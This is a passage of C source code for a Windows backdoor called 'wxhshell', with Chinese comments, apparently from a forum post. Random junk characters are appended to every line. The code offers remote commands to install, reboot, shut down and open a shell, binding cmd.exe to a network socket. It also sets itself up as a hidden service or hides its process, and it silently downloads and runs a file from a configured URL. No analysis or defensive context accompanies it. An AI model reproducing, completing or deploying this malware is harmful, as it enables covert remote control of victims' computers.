  } 74c[m}'S  
  else { 1dl@2CVS  
\d,wcL  
    switch(cmd[0]) { {Y(#<UDM  
  j&c YRKpz  
  // 帮助 B F,8[|%#  
  case '?': { BSMM3jXb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uxjx~+qFd  
    break; mHYR?  
  } "s!|8F6$  
  // 安装 m! 3e>cI  
  case 'i': { FthrI  
    if(Install()) h3<L,Olp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -!C9x?gNY  
    else V*C%r:5 ,v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XuY#EJbZ  
    break; Ei Yj`P  
    } T- |36Os4  
  // 卸载 ?q %&"  
  case 'r': { [T<Z?  
    if(Uninstall()) UrP jZ:K'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LO&/U4:  
    else Sp2<rI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1c%ee$Q  
    break; [PI!.9H  
    } /4!.G#DLQ  
  // 显示 wxhshell 所在路径 Si:$zGL$(  
  case 'p': { G|h@O'  
    char svExeFile[MAX_PATH]; *MG*]\D  
    strcpy(svExeFile,"\n\r"); 5r-OE-U{  
      strcat(svExeFile,ExeFile); .:nV^+)  
        send(wsh,svExeFile,strlen(svExeFile),0); C~ r(*nr  
    break; A.%MrgOOX  
    } ,?k~>,{3  
  // 重启 0<n*8t?A-  
  case 'b': { wt(Hk6/B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hYI0S7{G  
    if(Boot(REBOOT)) 1e'Ez4*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jk\04k  
    else { v"K #  
    closesocket(wsh); q5UD!& W  
    ExitThread(0); n$03##pf  
    } b)e';M  
    break; e0nr dM[i  
    } )^)j=xs  
  // 关机 6 #vc"5@M  
  case 'd': { !go$J]T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); + bU*"5"  
    if(Boot(SHUTDOWN)) 'WC> _ L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VxKD>:3c  
    else { l[P VWM  
    closesocket(wsh); I/HcIBJ  
    ExitThread(0); u |EECjJn  
    } 1\{_bUZ&  
    break; f-BEfC,}'  
    } UgBD| ~zu  
  // 获取shell |_ADG  
  case 's': { z5k9|.hgw  
    CmdShell(wsh); /KCJ)0UU  
    closesocket(wsh); fEMz%CwH  
    ExitThread(0); ?cH,!2  
    break; t'.oty=  
  } WYayr1  
  // 退出 L4x08 e  
  case 'x': { 3SMb#ce*o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); itpljh  
    CloseIt(wsh); A{QXzoWkg0  
    break; ]5_6m;g  
    } I.qP$j  
  // 离开 ?L'4*S]  
  case 'q': { V|njgcn d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iL](w3EM  
    closesocket(wsh); 5'mpd  
    WSACleanup(); 1vG]-T3VC  
    exit(1); =/6rX"\P  
    break; nbhzLUK  
        } 1/l;4~p7'  
  } {Iu9%uR>@  
  } jb5nL`(j$  
KXtc4wra  
  // 提示信息 `PH*tdYrh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iax6o+OG|  
} F\H^=P  
  } Jm5&6=  
bTrQ(qp  
  return; -2\%?A6L  
} KkF3E*q\H  
/;K?Y#mf~j  
// shell模块句柄 fho$:S  
int CmdShell(SOCKET sock) [tP6FdS/M=  
{ UojHlTg#bT  
STARTUPINFO si; f5droys9  
ZeroMemory(&si,sizeof(si)); Og8'K=O#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |fd}B5!c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GY[+HgT  
PROCESS_INFORMATION ProcessInfo; =64%eF  
char cmdline[]="cmd"; tI&E@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bB#6Xx  
  return 0; 49;2tl;F  
} QSNLo_z  
YdT-E  
// 自身启动模式 r8uc.z2%  
int StartFromService(void) t622b?w  
{ Z#i5=,Bk  
typedef struct ! 54(K6a[  
{ ,M)NC%0X  
  DWORD ExitStatus; bns([F  
  DWORD PebBaseAddress; #;#r4sJwU  
  DWORD AffinityMask; L+b"d3!G&%  
  DWORD BasePriority; &M6cCT]&M  
  ULONG UniqueProcessId; y9>?  
  ULONG InheritedFromUniqueProcessId; 2|8&=K /  
}   PROCESS_BASIC_INFORMATION; 2S{IZ]  
6$l6>A  
PROCNTQSIP NtQueryInformationProcess; 2Q/#.lNL  
qDPpGI-Y2e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ijs"KAW ?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u3Jsu=Nx-  
+TR#  
  HANDLE             hProcess; yQ3*~d~U|L  
  PROCESS_BASIC_INFORMATION pbi; ;?A?1q8*  
T&5dF9a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @rh1W$  
  if(NULL == hInst ) return 0; %~ROV>&  
h>l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d:x=g i!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ic+tn9f\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t\p_QWnF  
!{L6 4qI  
  if (!NtQueryInformationProcess) return 0; S(5aJ[7Zm  
 9kkYD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GsG9;6c+u  
  if(!hProcess) return 0; R^i8AbFW  
NVFgRJ&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <XfCQq/  
4*<27  
  CloseHandle(hProcess); 05+uBwH  
0k];%HV|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W9$mgs=S`E  
if(hProcess==NULL) return 0; wkp|V{k  
>H ,t^i}@  
HMODULE hMod; TAbC-T.EV  
char procName[255]; Ef}rMkv  
unsigned long cbNeeded; rdL>yT/A  
`B^ HW8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b;[u=9ez  
A#"AqNVWv  
  CloseHandle(hProcess); &f\ng{  
Q\>Kd N{  
if(strstr(procName,"services")) return 1; // 以服务启动 p:,(r{*?  
f"0{e9O]2  
  return 0; // 注册表启动 o~Im5j],*  
} mh4NZ @;  
#hBDOXHPf  
// 主模块 ={a8=E!;  
int StartWxhshell(LPSTR lpCmdLine) *d,u)l :S  
{ 9tnW:Nw~  
  SOCKET wsl; D;V FM P  
BOOL val=TRUE; =a_B'^`L  
  int port=0; }tIIA"dZ  
  struct sockaddr_in door; @jE<V=?  
RyGce' q  
  if(wscfg.ws_autoins) Install(); ya9V+/i7T_  
|!\(eLR9>  
port=atoi(lpCmdLine); <*Kj7o{Qn  
#eqy!QdePf  
if(port<=0) port=wscfg.ws_port; k^pf)*p  
=9oN#4mWK  
  WSADATA data; s -Mzl?o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?hu$  
%h ?c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j}=$2|}8{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "[.adiw  
  door.sin_family = AF_INET; [hf#$Dl |  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (i,TxjS'od  
  door.sin_port = htons(port); /lQGFLZL  
~PT( /L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #du!tx ( _  
closesocket(wsl); (aX5VB**  
return 1; w*})ZYIUT  
} 1or4s{bmo  
B_k[N}|zD  
  if(listen(wsl,2) == INVALID_SOCKET) { !9l c6W  
closesocket(wsl); =$B:i>z<  
return 1; %2<G3]6^U  
} 5]WpH0kzO  
  Wxhshell(wsl); * Yr)>;^  
  WSACleanup(); g`jO  
,$,6%"'"  
return 0; N1RZ  
;[-dth  
} 9: bC{n  
mis cmD  
// 以NT服务方式启动 /\-qz$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fjUyx:  
{ ^/wvHu[#  
DWORD   status = 0; 1{oq8LB  
  DWORD   specificError = 0xfffffff; p;dH[NW  
/5@V $c8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :QnN7&j|(w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?~e 8:/@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _|x b)_  
  serviceStatus.dwWin32ExitCode     = 0; 9=D\xBd|w  
  serviceStatus.dwServiceSpecificExitCode = 0; 9PA\Eo|Yb  
  serviceStatus.dwCheckPoint       = 0; t)n!];  
  serviceStatus.dwWaitHint       = 0; eI@LVi6<b  
R=IZFwr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M@rknq@  
  if (hServiceStatusHandle==0) return; +'$=\d^  
C@` eYi  
status = GetLastError(); ^D(N_va<  
  if (status!=NO_ERROR) sXm/+I^  
{ [YY[E 7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?Sj3-*/?  
    serviceStatus.dwCheckPoint       = 0; ocCC63J  
    serviceStatus.dwWaitHint       = 0; KZ/U2.{O<  
    serviceStatus.dwWin32ExitCode     = status; (~P b,Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; |?CR|xqT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zg!;g`Z@S  
    return; TOo0rcl  
  } Kb~s'cTxIO  
m}] bP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @Y'BqDFlZ  
  serviceStatus.dwCheckPoint       = 0; DUc - D==  
  serviceStatus.dwWaitHint       = 0; CPVR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sO~:e?F  
} 6 6x> *  
LB_y lfg  
// 处理NT服务事件,比如:启动、停止 ve2GRTO^aC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n$Z@7r  
{ #pbPaRJL(  
switch(fdwControl) ,[}5@cS  
{ Kd8V,teH  
case SERVICE_CONTROL_STOP: %EYh5 W  
  serviceStatus.dwWin32ExitCode = 0; P SDzs\s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CUgXpU*  
  serviceStatus.dwCheckPoint   = 0; G\S\Qe{P~  
  serviceStatus.dwWaitHint     = 0; ngoo4}  
  { O1pBr=+j+{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2]n"7Z8(v8  
  } xmxfXW  
  return; @.f@N;z  
case SERVICE_CONTROL_PAUSE: A0sydUc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P g.PD,&U  
  break; f} g)3+i  
case SERVICE_CONTROL_CONTINUE: tuuc9H4B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;aKdRhDo  
  break; 6CBk,2DswI  
case SERVICE_CONTROL_INTERROGATE: 0x!XE|7I  
  break; >cEc##:5  
}; ]w.:K*_=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]q DhGt  
} aJlSIw*Q,  
Be+CV">2  
// 标准应用程序主函数 w?6"`Mo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /T`L;YE  
{ "Zd4e2>{M\  
B#'TF?HUEn  
// 获取操作系统版本 Tx%6whd/'  
OsIsNt=GetOsVer(); E]`)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jy`jxOoG~Z  
F|q-ZlpW-  
  // 从命令行安装 r- 0BLq]~{  
  if(strpbrk(lpCmdLine,"iI")) Install(); il `O*6-  
XQ&iV7   
  // 下载执行文件 %pmowo~{  
if(wscfg.ws_downexe) { 5inmFT?9Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q.H y"~  
  WinExec(wscfg.ws_filenam,SW_HIDE); nYG$V)iCb  
} dg/OjiD[P  
4Y5Q>2D}  
if(!OsIsNt) { B RF=TL5Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ',k0 _n?t  
HideProc(); =D.M}x qo  
StartWxhshell(lpCmdLine); t6&6kl  
} y*A#}b*0  
else 6]^; s1!  
  if(StartFromService()) i,NU%be  
  // 以服务方式启动 8`Fo^c=j  
  StartServiceCtrlDispatcher(DispatchTable); WJBi#(SY  
else BX&bhWYGFX  
  // 普通方式启动 [uP_F,Y/  
  StartWxhshell(lpCmdLine); yCZV:R;  
*(@(9]B~  
return 0; hM^#X,7  
}
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只看该作者 1 发表于: 2006-10-10
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